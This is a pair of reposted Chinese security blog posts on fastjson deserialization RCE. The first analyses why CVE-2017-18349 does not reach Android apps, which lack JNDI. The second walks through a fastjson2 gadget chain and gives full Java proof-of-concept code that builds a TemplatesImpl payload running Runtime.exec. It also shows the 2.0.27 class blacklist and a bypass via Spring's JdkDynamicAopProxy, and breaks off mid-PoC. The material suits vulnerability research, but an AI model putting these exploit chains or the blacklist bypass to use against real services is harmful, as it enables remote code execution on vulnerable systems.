fastjson漏洞是否影响安卓

fastjson漏洞是否影响安卓

本文转自 mb_opmktjff 并作补充

fastjson有一些已知的严重RCE漏洞,例如CVE-2017-18349和CVE-2022-25845。一般其影响范围在服务器端,多为Spring Boot框架的服务,而在安卓的影响却没有搜到任何资料。我们来分析一下,如果一个安卓客户端应用使用了老版本的fastjson库,是否可以被攻击。

在查看fastjson 1.1.53.android的maven网页时,发现其标注了存在已知CVE漏洞。

https://mvnrepository.com/artifact/com.alibaba/fastjson/1.1.53.android

image

查看fastjson的github修复公告,却表示安卓环境不涉及此漏洞(CVE-2017-18349)。除此之外,没有找到更多的fastjson漏洞在安卓上的分析。

https://github.com/alibaba/fastjson/wiki/security_update_20170315

image

尽管fastjson出过好几次RCE的漏洞,但是本质上原理相同,仅仅是安全检查绕过的方法不同,因此我们本文先研究最初被发现的RCE,CVE-2017-18349。

分析思路

经过一些搜索,找到了网上一些关于此漏洞的信息,但是没有找到为什么安卓版本不涉及此漏洞。

我发现fastjson发布的版本号中,除了普通的版本还有安卓版本,后缀为“.android”。安卓版是主要针对安卓环境进行优化,除此之外没有特殊改动。

https://github.com/alibaba/fastjson/wiki/Android%E7%89%88%E6%9C%AC

image

部分fastjson安卓版的差异

以目前的信息,可以得到以下两个猜测:

  • 猜测1:fastjson的安卓版本和普通版本有区别,导致安卓版本不受此漏洞影响。
  • 猜测2:安卓运行环境不同,不受此漏洞影响。

为了分析fastjson在安卓上的影响,我们搭建3个环境。

  • 第一个是已知脆弱的环境,其服务为Spring Boot,尝试复现,然后用于比较。
  • 第二个是类似第一个的环境,但是把fastjson的依赖库版本加上“.android”后缀,以测试安卓版本在Spring Boot中是否脆弱。
  • 第三个环境是正常的安卓客户端应用,使用安卓版本的fastjson,除此之外尽可能模仿第一个环境的应用层逻辑。

尝试复现

使用vulhub上的样例可以成功复现,具体参考其wiki。

https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce

但是这个样例是docker容器,其中包含的jar文件,没有源码。为了能好地分析,我们需要用源码搭建一套复现环境。要找到源码,可以尝试从docker中复制出来然后反编译。

运行其容器后,使用以下命令将里面的jar拷贝到本地宿主机。

1
docker cp <container-id>:<src-path> <dest-path>

然后用jadx打开,找到相关json反序列化入口

image

可见此poc使用的是一个spring boot框架下的普通的json反序列化,没有特殊条件。后续我们将用 JSON.parseObject() 的方式来复现

我们本地也构造这样一个环境试试。首先尝试新建一个spring boot工程,使用较新的jdk 17和spring boot 3.2.2版本,但是老的fastjson 1.2.24。

image

请注意当前的 https://start.spring.io/ 默认初始模板中的依赖是错误的。如果你是用的是其初始模板,需要将build.gradle中“org.springframework.boot:spring-boot-starter”需要改成“org.springframework.boot:spring-boot-starter-web”,否则会编译失败。

使用一个简单的反序列化payload, 在服务器根路径收到get请求时触发

image

在请求localhost:8080后,发现服务器报错

1
java.lang.reflect.InaccessibleObjectException: Unable to make public com.sun.rowset.JdbcRowSetImpl() accessible: module java.sql.rowset does not "exports com.sun.rowset" to unnamed module

搜索此报错,看到如下github issue。

https://github.com/dbgee/fastjson-rce/issues/2

看上去jdk 17是无法构造RCE的,因此尝试换成jdk 1.8 (8u202)。

image

这样修改后编译是失败的,因为spring boot 3.2.2不兼容。由于依赖的环境版本比较老,所以有一些配置需要修改才能正常跑起来。

根据这篇Stack Overflow回答,我们去找spring boot 2.7

https://stackoverflow.com/questions/76467522/cant-compile-spring-boot-on-java-1-8

按照spring boot 2.7的gradle设置,重新修改build.gradle。

https://docs.spring.io/spring-boot/docs/2.7.18/gradle-plugin/reference/htmlsingle/#getting-started

这是我的最终build.gradle。注意第22行不能加,否则在当前的环境中跑不起来。

image

与此同时,如果没有jdk 1.8,去oracle官网创建一个账号,然后下载。

由于我是用gradlew启动的程序,所以在其bash脚本中进行修改,无脑使用了java 1.8

image

在启动nc监听的情况下,再次访问该网页,复现成功。可见右侧的监听收到了rmi的请求。为了更简便地分析调试,我们这里不必使用完整的PoC,而是在收到请求之后就确定是有问题的。

image

我们先尝试一下安卓版本能否复现这个bug。由于描述上写的fastjson版本小于1.2.25都存在这个问题,所以我这里用了1.1.52.android这个版本。现在我们把build.gradle中的fastjson版本修改后重新编译并运行服务器。

然后使用同样的payload,发现服务器依然会去请求jndi。如果我们打断点,是可以看到这次调用栈进入的是1.1.52.android版本的fastjson。

image

那么排除fastjson的安卓版有不同于普通版的地方,所以安卓版是安全的的这个假设。

经过一些搜索,我们可以看到安卓是不支持jndi的。

类似fastjson,log4shell也是在安卓不受影响。其同样利用了jndi的方式进行了RCE。可以看到这篇文章分析得出安卓不影响,原因是安卓不支持jndi。

https://support.nowsecure.com/hc/en-us/articles/4417200289421-Log4Shell-and-Its-Impact-on-Mobile-Security

由于我们尝试的poc是依赖jndi的,因此安卓的老版本确实无法用相同的方式攻击。

我们搭建一个kotlin的安卓项目,并使用fastjson 1.1.52.android,其余均为默认值。

image

image

尝试在安卓应用中使用相同的payload,在activity的onCreate的时候直接运行反序列化。得到以下报错:类无法找到

image

理解此漏洞

由于老版本fastjson在反序列化时,可以指定任意类进行反序列化。在反序列化时也会调用其get、set、constructor等方法,也就相当于代码执行。

任何可以被fastjson反序列化攻击的类称为fastjson gadget,而我们最熟知的便是jndi的类。攻击者能用fastjson执行的代码,仅限于fastjson gadget。具体的反序列化分析不在本文中讨论。

安卓版本不能使用jndi的gadget,但是其他的很多gadget可以使用,也存在很多Spring Boot没有的gadget。目前已知的安卓fastjson gadget中,没有能造成实际影响的。

结论

目前已知的PoC无法攻击安卓应用,因为使用的fastjson gadget是jndi,且安卓不支持jndi。攻击者可以利用fastjson进行代码执行,但是目前(2024-02-26)没有发现可以在安卓上造成实际影响的fastjson gadget。

本次研究的fastjson的安卓版本(后缀为“.android”)和普通版本在服务器端使用都存在RCE漏洞,攻击方式相同。

一文带你看懂fastjson2下的反序列化调用链完整过程

一文带你看懂fastjson2下的反序列化调用链完整过程

本文转自 fupanc 并作补充

来分析一下fastjson2下的反序列化调用链全过程

fastjson2下的反序列化调用链分析

前言

在前面fastjson1下的反序列化调用链分析中,简单提到过fastjson2下的反序列化调用链,但是当时fastjson2的能打的版本为<=2.0.26。现在先来具体看看这个版本下的调试分析。

Fastjson2<=2.0.26调试分析

依赖版本改成如下即可:

1
2
3
4
5
6
<!-- <https://mvnrepository.com/artifact/com.alibaba/fastjson> -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>2.0.26</version>
</dependency>

当时使用的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;
import javax.management.BadAttributeValueExpException;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc",templates);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行即可弹出计算机。

其实主要的点还是在于调用toString()方法,直接将代码改简单些来调试分析一下流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc",templates);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

直接打断点于getOutputProperties()方法:

image

调试直接成功断在这里,此时的调用栈为:

1
2
3
4
5
6
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, OWG_1_3_TemplatesImpl (com.alibaba.fastjson2.writer)
write:548, ObjectWriterImplMap (com.alibaba.fastjson2.writer)
toJSONString:2388, JSON (com.alibaba.fastjson2)
toString:1028, JSONObject (com.alibaba.fastjson)
main:32, Main (org.example)

朴实无华,但是从中还是可以看到之前fastjson1分析下的一些影子,比如:

image

很熟悉的获取ObjectWriter相关类并调用它的write()方法来进行序列化。

现在来跟一下具体细节,看一下对序列化类的处理逻辑。

打断点于toString()方法:

image

这里的JSONWriter的Feature是一个枚举类型的类:

image

里面就有我们获取的定义在这个类中的ReferenceDetection值。

后面发现JSONObject类在fastjson2中其实有两个:

image

在前面我们都是使用的fastjson1的JSONObject来分析,两个都能弹,并且其实调试下来最终的调用方法是一样的,这里就直接调试分析fastjson2的JSONObject过程了,直接在import处将代码改成fastjson2即可。然后打断点调试,直接断于JSONObject类的toString()方法:

image

跟进这个JSONWriter类的of()方法:

image

最后也是返回了这个jsonWriter变量,现在来看看createWriteContext()的调用获取情况以及JSONWriterUTF16JDK8类的实例化情况,后续会用到类中的变量,要搞清楚对应变量的赋值以及调用,重新调试单击进入JSONFactory类的createWriteContext()方法:

image

这里的defaultObjectWriterProvider是静态的直接默认的变量:

image

继续跟进JSONWriter类的内部类Context类的初始化:

image

也就是将features赋值为0,然后将参数传递的ObjectWriterProvider类的实例化对象赋值给了provider。

最后返回了这个Context类,然后一直返回,回到JSONWriterUTF16JDK8类的初始化:

image

继续往父类初始化:

image

继续往父类看:

image

初始化情况如上,这里的JSONWriter应该是一个和json序列化相关的类。在这个JSONWriter类初始化完毕后,回到其子类JSONWriterUTF16的初始化:

image

这里的chars需要关注,后面要提到。可以看到这里的cachedIndex为1,跟进调用的JSONFactory类的allocateCharArray()方法:

image

可以看到直接静态设置了几个变量,如这里非常重要的CHAR_ARRAY_CACHE,这是一个二维数组,但是并没有定义值,所以CHAR_ARRAY_CACHE[cacheIndex]的值为null,从而将这个chars值设置为8192个下表的数组,并且最后返回了这个数组。

而后这个char数组的内容都是默认的占位符吧应该是:

image

后续会提到,这里就先继续调试跟着走。

——————

回到JSONWriter类的of()方法,最后是返回了这个实例化的JSONWriterUTF16JDK8类:

image

然后应该是设置了要序列化的类:

image

跟进setRootObject()方法:

image

效果如上,然后就是调用了JSONWriterUTF16JDK8类的write()方法来进行序列化,同样是传参传入了JSONObject类,对于这里的write()方法,关键的地方在于:

image

这里调用了迭代器来获取我们存储在JSONObject中的键值对:

image

然后继续往后面走,可以看到序列化key的地方:

image

当调用了writeString()方法后,这里的chars的值就更改了,这里的writeString()方法就不跟进了,关键点如下:

image

数组的一个copy操作,将value的值copy进chars中。

继续回到JSONWriterUTF16类的write()方法,后续就可以看到对value进行了处理:

image

并且对其进行了获取Class处理并对比,如下一些class对象:

1
2
3
4
5
6
7
String.class
Integer.class
Long.class
Boolean.class
BigDecimal.class
JSONArray.class
JSONObject.class

毫无疑问都不是和TemplatesImpl相关的,所以最后是到了如下代码:

image

非常熟悉的代码了,就是对TemplatesImpl类进行序列化处理。

跟进Context类的getObjectWriter()方法:

image

可以看到是接收的Type和Class对象的参数,但是传参可以看出来是都传的Class类型的,其实就是因为Class类实现了Type接口而已:

image

然后会调用ObjectWriterProvider类的getObjectWriter()方法:

image

代码如下:

image

毫无疑问当时赋值时就没有对cache作任何处理,并且这个变量是一个final初始化的一个默认的变量,故不能从cache中获取到TemplatesImpl.class的序列化处理类。后面的重点代码如下:

image

前面经过一系列处理,都找不到对应的TemplatesImpl类的,这里就会创建一个序列化类用于序列化相关的类,其次可以看到当成功创建了类过后,就会调用putIfAbsent()方法以键值对的形式放进到cache中,以便后续再次序列化相关类时直接通过get()获取,最后是返回了这个objectWriter序列化类。

跟进getCreator()方法:

image

最后是会返回这个creator变量,这个变量的赋值在类的初始化阶段就完成了,这里简单提一下: 在前面关于ObjectWriterProvider类的初始化,我们是直接调用的无参构造函数:

image

这里就涉及到了有关creator的赋值,调试效果如下:

image

这里的JSONFactory类的常量CREATOR赋值在JSONFactory类的static语句中:

image

所以会直接进入到default语句中从而给creator赋值为ObjectWriterCreatorASM类实例:

image

并且将变量classloader赋值为了DynamicClassLoader类实例:

image

跟进原先的DynamicClassLoader.getInstance(),就是直接获取instance:

image

很符合前面ObjectWriterCreatorASM类初始化变量赋值的条件。

回到ObjectWriterProvider类的getObjectWriter()方法:

image

故会调用ObjectWriterCreatorASM类的createObjectWriter()方法,并且在成功创建后会将其以键值对的形式放入到cache中,以便后续再次调用,并且最后也是返回了创建的objectWriter。跟进ObjectWriterCreatorASM类的createObjectWriter()方法,后续比较关键的就是对于method中的getter的处理,如下代码:

image

这里会先调用BeanUtils类的getters()方法,关键在于如下:

image

先从methodCache中查看是否有缓存的method,没有的话就会调用getMethods()方法来获取到对应类的public方法并将其放入到methodCache中,后续对获取到的方法进行了处理,调用的for循环进行的获取来判断如上图,关键的地方在如下:

image

可以看到是处理了getter方法,一般getter的长度都会大于3,所以这里的nameMatch肯定为true,然后进行了判断,就是取methodName的第四个字母进行判断,要是在a到z之间并且methodName长度为4,就赋值为false,但是从后面逻辑来看这里是需要nameMatch为true的,不然就会continue,并且从这个条件来看也是不容易满足的。

在这里获取到对应的getter方法后,继续往后看,会获取getter方法对应的fileName:

image

再然后就会创建序列化类了:

image

此时的调用栈为:

1
createFieldWriter:887, ObjectWriterCreator (com.alibaba.fastjson2.writer)lambda$createObjectWriter$2:377, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)accept:-1, 215219944 (com.alibaba.fastjson2.writer.ObjectWriterCreatorASM$$Lambda$14)getters:1010, BeanUtils (com.alibaba.fastjson2.util)createObjectWriter:252, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)getObjectWriter:333, ObjectWriterProvider (com.alibaba.fastjson2.writer)getObjectWriter:1603, JSONWriter$Context (com.alibaba.fastjson2)write:2246, JSONWriterUTF16 (com.alibaba.fastjson2)toString:1090, JSONObject (com.alibaba.fastjson2)main:33, Main (org.example)

继续跟进createFieldWriter的实现:

image

比较关键的就是这一部分的getInitWriter()方法的调用,由于参数传递,这里的initObjectWriter为null,这段代码先试获取了方法的返回值的类型,然后跟进getInitWriter()的调用:

image

就是判断返回值的Class对象是否符合上述几个Class对象,不符合的话就返回null,而返回null会让后续代码根据返回值的Class对象从而来实例化对应的writer类:

image

比如我这里调试判断的就是getTransletIndex()方法,返回值为int类型,故如上图会实例化FieldWriterInt32Method类,最后将其放入到fieldWriterMap变量中:

image

然而由于我们想要利用的getOutputProperties()方法的返回对象为class java.util.Properties,没有匹配的类,故直接使用的Object类型来进行的调用:

image

再然后可以看到fieldWriterMap的值发生了变化:

image

一切都是有规律的。

这里需要提到一个点,这里的”fieldWriter“类的最终父类都是FieldWriter类,并且在传参时都是给这个父类的值进行赋值,在这里我们需要注意到其中存在一个变量的更替,以getOutputProperties()方法的过程为例:

image

可以看到会对父类进行传参,需要注意这里的类中时自定义了一个变量,field:null,并且其他如前面提到的FieldWriterInt32Method类也是这样的,这个后续有大用,然后就是一直跟进到最顶父类的赋值:

image

——

故事的最后,我们如约获取到了对应的三个getter方法:

image

然后将其转换对象赋值给了fieldWriters并在sort()代码部分进行了重新排序。

前面讲了关于getter方法的处理,其实就是处理一下public的field,从而方便调用它的getter方法。再往后看,就是我们需要的objectWriter类的实例化了:

image

可以看到定义了类名,在多次调试过程中经常出现它的名字,这里也是找到了出处,然后找了包名,这里就是为在内存中生成这个类做准备,定义了类名以及所出包的位置。再后续呢,就是往类中定义了一些方法,然后是实例化了这个类作为objectWriter并返回

image

这里的诸如genMethodWriteJSONB()方法往OWG_1_3_TemplatesImpl类中去定义方法内的代码,这里的对应情况如下:

调用的方法 实现的OWG_1_3_TemplatesImpl类中的方法
genMethodWriteJSONB() writeJSONB()
genMethodWrite() write()
genMethodWriteArrayMapping() writeArrayMapping()

调试中发现其实在类中定义的这几个方法都可以调用到那几个getter方法,大致流程是差不多的,这里就讲讲write()定义的流程,同时可以搞清楚我们前面弄了这么久的fieldWriters起到了什么作用

跟进genMethodWrite()方法:

image

可以看到定义的方法名称,直接跟进fieldWriters的处理方式:

image

调用了for循环来对fieldWriters中存储的序列化类进行处理,跟进gwFieldValue()方法:

image

会获取到filterWriter的fieldClass,然后进行类型判断:

image

最后还是调用gwFieldValueObject()方法,跟进这个方法中的genGetObject()方法:

image

关键点来了,由于赋值时fieldWriter.field肯定为null,也就是前面提到的,所以这里会将member赋值为对应的getter方法,从而顺理成章调用到visitMethodInsn()方法从而可以往OWG_1_3_TemplatesImpl类的write()方法中写入调用对应getter方法的代码,其他的fieldWriter同理,由于for循环,故流程都是这个,调用栈为:

1
genGetObject:3339, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)gwFieldValueObject:1840, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)gwFieldValue:1758, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)genMethodWrite:722, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)createObjectWriter:554, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)getObjectWriter:333, ObjectWriterProvider (com.alibaba.fastjson2.writer)getObjectWriter:1603, JSONWriter$Context (com.alibaba.fastjson2)write:2246, JSONWriterUTF16 (com.alibaba.fastjson2)toString:1090, JSONObject (com.alibaba.fastjson2)main:33, Main (org.example)

再后面就可以通过调用这个类的write()方法从而调用对应序列化类的getter方法达到JSON序列化的目的:

image

但是由于这一个过程是在内存中进行的,也就是没有实际的java文件落地,只能通过监听内存从而获取这个类的内容。

这里可以使用arthas工具,我们需要将运行代码改成如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
try{
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", templates);
jsonObject.toString();
}catch (Exception e){
while(true){
}
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

众所周知在成功完成一次动态加载字节码后会报错退出,所以我们需要在这里加一个自循环从而让程序不会退出,然后运行并使用arthas工具监听即可:

image

在前面我们已经知道了对应类的包名,也就可以知道它的路径,然后用工具将其反编译出来:

1
jad com.alibaba.fastjson2.writer.OWG_1_3_TemplatesImpl

然后就可以拿到生成的类了,这里简单截取一些write()方法的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
if ((var12_11 = ((TemplatesImpl)var2_2).getOutputProperties()) == null) break block19;
var14_12 = var1_1.isRefDetect();
if (!var14_12) ** GOTO lbl-1000
if (var2_2 == var12_11) {
this.fieldWriter0.writeFieldName(var1_1);
var1_1.writeReference("..");
} else {
var13_13 = var1_1.setPath(this.fieldWriter0, (Object)var12_11);
if (var13_13 != null) {
this.fieldWriter0.writeFieldName(var1_1);
var1_1.writeReference(var13_13);
var1_1.popPath(var12_11);
} else lbl-1000:
// 2 sources
{
this.fieldWriter0.writeFieldName(var1_1);
this.fieldWriter0.getObjectWriter(var1_1, var12_11.getClass()).write(var1_1, var12_11, "outputProperties", (Type)Properties.class, 0L);
}
}
break block20;
}
if ((var8_6 &amp; 16L) != 0L) {
this.fieldWriter0.writeFieldName(var1_1);
var1_1.writeNull();
}
}
var15_14 = ((TemplatesImpl)var2_2).getStylesheetDOM();
if (var15_14 == null) break block21;
if (var1_1.isIgnoreNoneSerializable(var15_14)) break block22;
var14_12 = var1_1.isRefDetect();
if (!var14_12) ** GOTO lbl-1000
if (var2_2 == var15_14) {
this.fieldWriter1.writeFieldName(var1_1);
var1_1.writeReference("..");
} else {
var13_13 = var1_1.setPath(this.fieldWriter1, (Object)var15_14);
if (var13_13 != null) {
this.fieldWriter1.writeFieldName(var1_1);
var1_1.writeReference(var13_13);
var1_1.popPath(var15_14);
} else lbl-1000:
// 2 sources
{
this.fieldWriter1.writeFieldName(var1_1);
this.fieldWriter1.getObjectWriter(var1_1, var15_14.getClass()).write(var1_1, var15_14, "stylesheetDOM", this.fieldWriter1.fieldType, 0L);
}
}
break block22;
}
if ((var8_6 &amp; 16L) != 0L) {
this.fieldWriter1.writeFieldName(var1_1);
var1_1.writeNull();
}
}
if ((var16_15 = ((TemplatesImpl)var2_2).getTransletIndex()) != 0 || var10_7 == false) {
this.fieldWriter2.writeInt32(var1_1, var16_15);
}
var1_1.endObject();

在这个部分代码中,我们可以看到调用了对应的三个getter方法,顺序是getOutputProperties() => getStylesheetDOM() => getTransletIndex()

从而达到通过调用getter方法获取到对应field值的效果。

至此,在可行版本下序列化的过程调试分析完毕。

绕过限制再次达成攻击

那么官方在2.0.27版本下在哪些方面做了限制导致前面的链子不能执行呢,修改fastjson2的版本来探究一下:

1
2
3
4
5
6
<!-- <https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2> -->
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.27</version>
</dependency>

那么在新的修复中做了哪些改变呢,再次过了一遍了流程,主要做出的改变就是在BeanUtils类的getters()方法中加了一个黑名单:

image

从前面的调试分析中知道BeanUtils#getters()就是一个处理类中的method的非常关键的方法,前后流程对比可以在2.0.27版本中是多了如图的这几行代码,对传参的objectClass进行了判断,也就是对要序列化的类进行了处理,只要符合条件就直接退出了流程的继续,跟进这个ignore()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static boolean ignore(Class objectClass) {
if (objectClass == null) {
return true;
}
String name = objectClass.getName();
switch (name) {
case "javassist.CtNewClass":
case "javassist.CtNewNestedClass":
case "javassist.CtClass":
case "javassist.CtConstructor":
case "javassist.CtMethod":
case "org.apache.ibatis.javassist.CtNewClass":
case "org.apache.ibatis.javassist.CtClass":
case "org.apache.ibatis.javassist.CtConstructor":
case "org.apache.ibatis.javassist.CtMethod":
case "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet":
case "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl":
case "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl":
case "org.apache.wicket.util.io.DeferredFileOutputStream":
case "org.apache.xalan.xsltc.trax.TemplatesImpl":
case "org.apache.xalan.xsltc.runtime.AbstractTranslet":
case "org.apache.xalan.xsltc.trax.TransformerFactoryImpl":
case "org.apache.commons.collections.functors.ChainedTransformer":
return true;
default:
break;
}
return false;
}

很容易看出这里就是添加了一个黑名单,其中过滤了一些非常关键的如TemplatesImpl、AbstractTranslet类,由于我们传参的类为TemplatesImpl类,匹配到这里的逻辑,导致直接return退出,不会再进行后续的操作。

但是这里还是可以通过动态代理来绕过。

JdkDynamicAopProxy链

这里使用到的类就是JdkDynamicAopProxy类,需要有spring-aop依赖:

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.19</version>
</dependency>

我们在jackson不稳定性绕过以及SpringAOP链中都使用到了这个类,是一个功能非常强大的类,这里主要的思路就是利用jackson解决不稳定性的方法来分析利用(个人认为fastjson2不会存在这个不稳定性,因为在成功创建了所有的fieldWriterMap后,还会调用Collections.sort()进行排序,故应该不会存在先后问题错误导致直接退出),然后这里讲讲这里的JdkDynamicAopProxy类的利用点:

这里主要利用的是它的invoke()方法,基本构造就是最初学习时的格式:

image

在这里主要的利用点就是如下代码:

image

只要可控这里的target,并且控制chain为空,那么就可以调用到AopUtils类的invokeJoinpointUsingReflection方法:

image

那么恰巧的是,这些参数是可控的,并且在SpringAOP链的学习中,可以知道我们需要调用AdvisedSupport类addAdvisor()方法来给其变量advisors赋值从而可以满足后续的条件从而可以让这里的chain不为空进入else语句进而继续后续链子的调用,那么在这里正如jackson那个的解决方法一样,直接默认即可让变量advisors为空从而直接让chain为空从而进入if语句,所以只需要控制targetSource.getTarget()返回值对应即可,而这里的AdvisedSupport类有好用的方法:

image

直接用这里的SingletonTargetSource类即可。所以只要在代理对象调用到getOutputProperties(),就会进入到这里的invoke()方法,并且控制getTarget()返回对象为构造好的TemplatesImpl类即可。

简单思路就是如上,并且和jackson调用链绕过的流程可以说非常像,现在我们就需要注意调用fastjson序列化时的过程了,这里我们会利用到动态代理,先来简单看一个本地demo:

image

可以看到对代理类调用getClass()的结果为class com.sun.proxy.$Proxy0,并且再调用getMethods()时的结果是从接口中获取到的方法,也就是Templates.class接口类的中的方法。

所以思路其实很清晰了,这里的proxy又不在黑名单里面,又可以获取到想利用的getter方法,又可以控制TempltesImpl类,所以简单的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
